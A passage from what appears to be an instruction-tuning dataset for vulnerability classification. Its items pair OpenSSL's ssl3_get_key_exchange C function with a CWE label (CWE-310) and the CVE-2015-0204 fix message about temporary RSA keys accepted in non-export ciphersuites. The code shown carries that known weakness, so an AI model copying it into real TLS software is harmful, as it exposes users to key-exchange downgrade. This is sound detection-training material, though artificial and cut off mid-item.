NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_EC_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tif (EC_KEY_set_group(ecdh, ngroup) == 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_EC_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tEC_GROUP_free(ngroup);\n\n\t\tgroup = EC_KEY_get0_group(ecdh);\n\n\t\tif (SSL_C_IS_EXPORT(s->s3->tmp.new_cipher) &&\n\t\t    (EC_GROUP_get_degree(group) > 163))\n\t\t\t{\n\t\t\tal=SSL_AD_EXPORT_RESTRICTION;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_ECGROUP_TOO_LARGE_FOR_CIPHER);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tp+=3;\n\n\t\t/* Next, get the encoded ECPoint */\n\t\tif (((srvr_ecpoint = EC_POINT_new(group)) == NULL) ||\n\t\t    ((bn_ctx = BN_CTX_new()) == NULL))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tencoded_pt_len = *p;  /* length of encoded point */\n\t\tp+=1;\n\n\t\tif ((encoded_pt_len > n - param_len) ||\n\t\t    (EC_POINT_oct2point(group, srvr_ecpoint, \n\t\t\tp, encoded_pt_len, bn_ctx) == 0))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_ECPOINT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += encoded_pt_len;\n\n\t\tn-=param_len;\n\t\tp+=encoded_pt_len;\n\n\t\t/* The ECC/TLS specification does not mention\n\t\t * the use of DSA to sign ECParameters in the server\n\t\t * key exchange message. We do support RSA and ECDSA.\n\t\t */\n\t\tif (0) ;\n#ifndef OPENSSL_NO_RSA\n\t\telse if (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n#endif\n#ifndef OPENSSL_NO_ECDSA\n\t\telse if (alg_a & SSL_aECDSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_ECC].x509);\n#endif\n\t\t/* else anonymous ECDH, so no certificate or pkey. */\n\t\tEC_KEY_set_public_key(ecdh, srvr_ecpoint);\n\t\ts->session->sess_cert->peer_ecdh_tmp=ecdh;\n\t\tecdh=NULL;\n\t\tBN_CTX_free(bn_ctx);\n\t\tbn_ctx = NULL;\n\t\tEC_POINT_free(srvr_ecpoint);\n\t\tsrvr_ecpoint = NULL;\n\t\t}\n\telse if (alg_k)\n\t\t{\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNEXPECTED_MESSAGE);\n\t\tgoto f_err;\n\t\t}\n#endif /* !OPENSSL_NO_ECDH */\n\n\n\t/* p points to the next byte, there are 'n' bytes left */\n\n\t/* if it was signed, check the signature */\n\tif (pkey != NULL)\n\t\t{\n\t\tif (SSL_USE_SIGALGS(s))\n\t\t\t{\n\t\t\tint rv;\n\t\t\tif (2 > n)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\trv = tls12_check_peer_sigalg(&md, s, p, pkey);\n\t\t\tif (rv == -1)\n\t\t\t\tgoto err;\n\t\t\telse if (rv == 0)\n\t\t\t\t{\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n#ifdef SSL_DEBUG\nfprintf(stderr, \"USING TLSv1.2 HASH %s\\n\", EVP_MD_name(md));\n#endif\n\t\t\tp += 2;\n\t\t\tn -= 2;\n\t\t\t}\n\t\telse\n\t\t\tmd = EVP_sha1();\n\n\t\tif (2 > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\t\tn-=2;\n\t\tj=EVP_PKEY_size(pkey);\n\n\t\t/* Check signature length. If n is 0 then signature is empty */\n\t\tif ((i != n) || (n > j) || (n <= 0))\n\t\t\t{\n\t\t\t/* wrong packet length */\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_WRONG_SIGNATURE_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\n#ifndef OPENSSL_NO_RSA\n\t\tif (pkey->type == EVP_PKEY_RSA && !SSL_USE_SIGALGS(s))\n\t\t\t{\n\t\t\tint num;\n\t\t\tunsigned int size;\n\n\t\t\tj=0;\n\t\t\tq=md_buf;\n\t\t\tfor (num=2; num > 0; num--)\n\t\t\t\t{\n\t\t\t\tEVP_MD_CTX_set_flags(&md_ctx,\n\t\t\t\t\tEVP_MD_CTX_FLAG_NON_FIPS_ALLOW);\n\t\t\t\tEVP_DigestInit_ex(&md_ctx,(num == 2)\n\t\t\t\t\t?s->ctx->md5:s->ctx->sha1, NULL);\n\t\t\t\tEVP_DigestUpdate(&md_ctx,&(s->s3->client_random[0]),SSL3_RANDOM_SIZE);\n\t\t\t\tEVP_DigestUpdate(&md_ctx,&(s->s3->server_random[0]),SSL3_RANDOM_SIZE);\n\t\t\t\tEVP_DigestUpdate(&md_ctx,param,param_len);\n\t\t\t\tEVP_DigestFinal_ex(&md_ctx,q,&size);\n\t\t\t\tq+=size;\n\t\t\t\tj+=size;\n\t\t\t\t}\n\t\t\ti=RSA_verify(NID_md5_sha1, md_buf, j, p, n,\n\t\t\t\t\t\t\t\tpkey->pkey.rsa);\n\t\t\tif (i < 0)\n\t\t\t\t{\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_DECRYPT);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\tif (i == 0)\n\t\t\t\t{\n\t\t\t\t/* bad signature */\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SIGNATURE);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\t}\n\t\telse\n#endif\n\t\t\t{\n\t\t\tEVP_VerifyInit_ex(&md_ctx, md, NULL);\n\t\t\tEVP_VerifyUpdate(&md_ctx,&(s->s3->client_random[0]),SSL3_RANDOM_SIZE);\n\t\t\tEVP_VerifyUpdate(&md_ctx,&(s->s3->server_random[0]),SSL3_RANDOM_SIZE);\n\t\t\tEVP_VerifyUpdate(&md_ctx,param,param_len);\n\t\t\tif (EVP_VerifyFinal(&md_ctx,p,(int)n,pkey) <= 0)\n\t\t\t\t{\n\t\t\t\t/* bad signature */\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SIGNATURE);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\telse\n\t\t{\n\t\t/* aNULL, aSRP or kPSK do not need public keys */\n\t\tif (!(alg_a & (SSL_aNULL|SSL_aSRP)) && !(alg_k & SSL_kPSK))\n\t\t\t{\n\t\t\t/* Might be wrong key type, check it */\n\t\t\tif (ssl3_check_cert_and_algorithm(s))\n\t\t\t\t/* Otherwise this shouldn't happen */\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR);\n\t\t\tgoto err;\n\t\t\t}\n\t\t/* still data left over */\n\t\tif (n != 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_EXTRA_DATA_IN_MESSAGE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\tEVP_PKEY_free(pkey);\n\tEVP_MD_CTX_cleanup(&md_ctx);\n\treturn(1);\nf_err:\n\tssl3_send_alert(s,SSL3_AL_FATAL,al);\nerr:\n\tEVP_PKEY_free(pkey);\n#ifndef OPENSSL_NO_RSA\n\tif (rsa != NULL)\n\t\tRSA_free(rsa);\n#endif\n#ifndef OPENSSL_NO_DH\n\tif (dh != NULL)\n\t\tDH_free(dh);\n#endif\n#ifndef OPENSSL_NO_ECDH\n\tBN_CTX_free(bn_ctx);\n\tEC_POINT_free(srvr_ecpoint);\n\tif (ecdh != NULL)\n\t\tEC_KEY_free(ecdh);\n#endif\n\tEVP_MD_CTX_cleanup(&md_ctx);\n\treturn(-1);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Only allow ephemeral RSA keys in export ciphersuites.\n\nOpenSSL clients would tolerate temporary RSA keys in non-export\nciphersuites. It also had an option SSL_OP_EPHEMERAL_RSA which\nenabled this server side. Remove both options as they are a\nprotocol violation.\n\nThanks to Karthikeyan Bhargavan for reporting this issue.\n(CVE-2015-0204)\nReviewed-by: Matt Caswell '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ssl3_get_key_exchange(SSL *s)\n\t{\n#ifndef OPENSSL_NO_RSA\n\tunsigned char *q,md_buf[EVP_MAX_MD_SIZE*2];\n#endif\n\tEVP_MD_CTX md_ctx;\n\tunsigned char *param,*p;\n\tint al,j,ok;\n\tlong i,param_len,n,alg_k,alg_a;\n\tEVP_PKEY *pkey=NULL;\n\tconst EVP_MD *md = NULL;\n#ifndef OPENSSL_NO_RSA\n\tRSA *rsa=NULL;\n#endif\n#ifndef OPENSSL_NO_DH\n\tDH *dh=NULL;\n#endif\n#ifndef OPENSSL_NO_ECDH\n\tEC_KEY *ecdh = NULL;\n\tBN_CTX *bn_ctx = NULL;\n\tEC_POINT *srvr_ecpoint = NULL;\n\tint curve_nid = 0;\n\tint encoded_pt_len = 0;\n#endif\n\n\t/* use same message size as in ssl3_get_certificate_request()\n\t * as ServerKeyExchange message may be skipped */\n\tn=s->method->ssl_get_message(s,\n\t\tSSL3_ST_CR_KEY_EXCH_A,\n\t\tSSL3_ST_CR_KEY_EXCH_B,\n\t\t-1,\n\t\ts->max_cert_list,\n\t\t&ok);\n\tif (!ok) return((int)n);\n\n\tif (s->s3->tmp.message_type != SSL3_MT_SERVER_KEY_EXCHANGE)\n\t\t{\n#ifndef OPENSSL_NO_PSK\n\t\t/* In plain PSK ciphersuite, ServerKeyExchange can be\n\t\t   omitted if no identity hint is sent. Set\n\t\t   session->sess_cert anyway to avoid problems\n\t\t   later.*/\n\t\tif (s->s3->tmp.new_cipher->algorithm_mkey & SSL_kPSK)\n\t\t\t{\n\t\t\ts->session->sess_cert=ssl_sess_cert_new();\n\t\t\tif (s->ctx->psk_identity_hint)\n\t\t\t\tOPENSSL_free(s->ctx->psk_identity_hint);\n\t\t\ts->ctx->psk_identity_hint = NULL;\n\t\t\t}\n#endif\n\t\ts->s3->tmp.reuse_message=1;\n\t\treturn(1);\n\t\t}\n\n\tparam=p=(unsigned char *)s->init_msg;\n\tif (s->session->sess_cert != NULL)\n\t\t{\n#ifndef OPENSSL_NO_RSA\n\t\tif (s->session->sess_cert->peer_rsa_tmp != NULL)\n\t\t\t{\n\t\t\tRSA_free(s->session->sess_cert->peer_rsa_tmp);\n\t\t\ts->session->sess_cert->peer_rsa_tmp=NULL;\n\t\t\t}\n#endif\n#ifndef OPENSSL_NO_DH\n\t\tif (s->session->sess_cert->peer_dh_tmp)\n\t\t\t{\n\t\t\tDH_free(s->session->sess_cert->peer_dh_tmp);\n\t\t\ts->session->sess_cert->peer_dh_tmp=NULL;\n\t\t\t}\n#endif\n#ifndef OPENSSL_NO_ECDH\n\t\tif (s->session->sess_cert->peer_ecdh_tmp)\n\t\t\t{\n\t\t\tEC_KEY_free(s->session->sess_cert->peer_ecdh_tmp);\n\t\t\ts->session->sess_cert->peer_ecdh_tmp=NULL;\n\t\t\t}\n#endif\n\t\t}\n\telse\n\t\t{\n\t\ts->session->sess_cert=ssl_sess_cert_new();\n\t\t}\n\n\t/* Total length of the parameters including the length prefix */\n\tparam_len=0;\n\n\talg_k=s->s3->tmp.new_cipher->algorithm_mkey;\n\talg_a=s->s3->tmp.new_cipher->algorithm_auth;\n\tEVP_MD_CTX_init(&md_ctx);\n\n\tal=SSL_AD_DECODE_ERROR;\n\n#ifndef OPENSSL_NO_PSK\n\tif (alg_k & SSL_kPSK)\n\t\t{\n\t\tchar tmp_id_hint[PSK_MAX_IDENTITY_LEN+1];\n\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\t/* Store PSK identity hint for later use, hint is used\n\t\t * in ssl3_send_client_key_exchange.  Assume that the\n\t\t * maximum length of a PSK identity hint can be as\n\t\t * long as the maximum length of a PSK identity. */\n\t\tif (i > PSK_MAX_IDENTITY_LEN)\n\t\t\t{\n\t\t\tal=SSL_AD_HANDSHAKE_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_DATA_LENGTH_TOO_LONG);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_BAD_PSK_IDENTITY_HINT_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\t/* If received PSK identity hint contains NULL\n\t\t * characters, the hint is truncated from the first\n\t\t * NULL. p may not be ending with NULL, so create a\n\t\t * NULL-terminated string. */\n\t\tmemcpy(tmp_id_hint, p, i);\n\t\tmemset(tmp_id_hint+i, 0, PSK_MAX_IDENTITY_LEN+1-i);\n\t\tif (s->ctx->psk_identity_hint != NULL)\n\t\t\tOPENSSL_free(s->ctx->psk_identity_hint);\n\t\ts->ctx->psk_identity_hint = BUF_strdup(tmp_id_hint);\n\t\tif (s->ctx->psk_identity_hint == NULL)\n\t\t\t{\n\t\t\tal=SSL_AD_HANDSHAKE_FAILURE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, ERR_R_MALLOC_FAILURE);\n\t\t\tgoto f_err;\n\t\t\t}\t   \n\n\t\tp+=i;\n\t\tn-=param_len;\n\t\t}\n\telse\n#endif /* !OPENSSL_NO_PSK */\n#ifndef OPENSSL_NO_SRP\n\tif (alg_k & SSL_kSRP)\n\t\t{\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_N_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.N=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_G_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.g=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\n\t\tif (1 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 1;\n\n\t\ti = (unsigned int)(p[0]);\n\t\tp++;\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_S_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.s=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_B_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(s->srp_ctx.B=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\t\tn-=param_len;\n\n\t\tif (!srp_verify_server_param(s, &al))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_PARAMETERS);\n\t\t\tgoto f_err;\n\t\t\t}\n\n/* We must check if there is a certificate */\n#ifndef OPENSSL_NO_RSA\n\t\tif (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n#else\n\t\tif (0)\n\t\t\t;\n#endif\n#ifndef OPENSSL_NO_DSA\n\t\telse if (alg_a & SSL_aDSS)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_DSA_SIGN].x509);\n#endif\n\t\t}\n\telse\n#endif /* !OPENSSL_NO_SRP */\n#ifndef OPENSSL_NO_RSA\n\tif (alg_k & SSL_kRSA)\n\t\t{\n\t\tif ((rsa=RSA_new()) == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_MODULUS_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(rsa->n=BN_bin2bn(p,i,rsa->n)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_E_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(rsa->e=BN_bin2bn(p,i,rsa->e)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\t\tn-=param_len;\n\n\t\t/* this should be because we are using an export cipher */\n\t\tif (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n\t\telse\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR);\n\t\t\tgoto err;\n\t\t\t}\n\t\ts->session->sess_cert->peer_rsa_tmp=rsa;\n\t\trsa=NULL;\n\t\t}\n#else /* OPENSSL_NO_RSA */\n\tif (0)\n\t\t;\n#endif\n#ifndef OPENSSL_NO_DH\n\telse if (alg_k & SSL_kEDH)\n\t\t{\n\t\tif ((dh=DH_new()) == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_DH_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tparam_len = 2;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_P_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(dh->p=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_G_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(dh->g=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\n\t\tif (2 > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += 2;\n\n\t\tn2s(p,i);\n\n\t\tif (i > n - param_len)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_PUB_KEY_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += i;\n\n\t\tif (!(dh->pub_key=BN_bin2bn(p,i,NULL)))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tp+=i;\n\t\tn-=param_len;\n\n#ifndef OPENSSL_NO_RSA\n\t\tif (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n#else\n\t\tif (0)\n\t\t\t;\n#endif\n#ifndef OPENSSL_NO_DSA\n\t\telse if (alg_a & SSL_aDSS)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_DSA_SIGN].x509);\n#endif\n\t\t/* else anonymous DH, so no certificate or pkey. */\n\n\t\ts->session->sess_cert->peer_dh_tmp=dh;\n\t\tdh=NULL;\n\t\t}\n\telse if ((alg_k & SSL_kDHr) || (alg_k & SSL_kDHd))\n\t\t{\n\t\tal=SSL_AD_ILLEGAL_PARAMETER;\n\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_TRIED_TO_USE_UNSUPPORTED_CIPHER);\n\t\tgoto f_err;\n\t\t}\n#endif /* !OPENSSL_NO_DH */\n\n#ifndef OPENSSL_NO_ECDH\n\telse if (alg_k & SSL_kEECDH)\n\t\t{\n\t\tEC_GROUP *ngroup;\n\t\tconst EC_GROUP *group;\n\n\t\tif ((ecdh=EC_KEY_new()) == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\t/* Extract elliptic curve parameters and the\n\t\t * server's ephemeral ECDH public key.\n\t\t * Keep accumulating lengths of various components in\n\t\t * param_len and make sure it never exceeds n.\n\t\t */\n\n\t\t/* XXX: For now we only support named (not generic) curves\n\t\t * and the ECParameters in this case is just three bytes. We\n\t\t * also need one byte for the length of the encoded point\n\t\t */\n\t\tparam_len=4;\n\t\tif (param_len > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tif ((*p != NAMED_CURVE_TYPE) || \n\t\t    ((curve_nid = tls1_ec_curve_id2nid(*(p + 2))) == 0))\n\t\t\t{\n\t\t\tal=SSL_AD_INTERNAL_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNABLE_TO_FIND_ECDH_PARAMETERS);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tngroup = EC_GROUP_new_by_curve_name(curve_nid);\n\t\tif (ngroup == NULL)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_EC_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tif (EC_KEY_set_group(ecdh, ngroup) == 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_EC_LIB);\n\t\t\tgoto err;\n\t\t\t}\n\t\tEC_GROUP_free(ngroup);\n\n\t\tgroup = EC_KEY_get0_group(ecdh);\n\n\t\tif (SSL_C_IS_EXPORT(s->s3->tmp.new_cipher) &&\n\t\t    (EC_GROUP_get_degree(group) > 163))\n\t\t\t{\n\t\t\tal=SSL_AD_EXPORT_RESTRICTION;\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_ECGROUP_TOO_LARGE_FOR_CIPHER);\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tp+=3;\n\n\t\t/* Next, get the encoded ECPoint */\n\t\tif (((srvr_ecpoint = EC_POINT_new(group)) == NULL) ||\n\t\t    ((bn_ctx = BN_CTX_new()) == NULL))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tencoded_pt_len = *p;  /* length of encoded point */\n\t\tp+=1;\n\n\t\tif ((encoded_pt_len > n - param_len) ||\n\t\t    (EC_POINT_oct2point(group, srvr_ecpoint, \n\t\t\tp, encoded_pt_len, bn_ctx) == 0))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_ECPOINT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tparam_len += encoded_pt_len;\n\n\t\tn-=param_len;\n\t\tp+=encoded_pt_len;\n\n\t\t/* The ECC/TLS specification does not mention\n\t\t * the use of DSA to sign ECParameters in the server\n\t\t * key exchange message. We do support RSA and ECDSA.\n\t\t */\n\t\tif (0) ;\n#ifndef OPENSSL_NO_RSA\n\t\telse if (alg_a & SSL_aRSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509);\n#endif\n#ifndef OPENSSL_NO_ECDSA\n\t\telse if (alg_a & SSL_aECDSA)\n\t\t\tpkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_ECC].x509);\n#endif\n\t\t/* else anonymous ECDH, so no certificate or pkey. 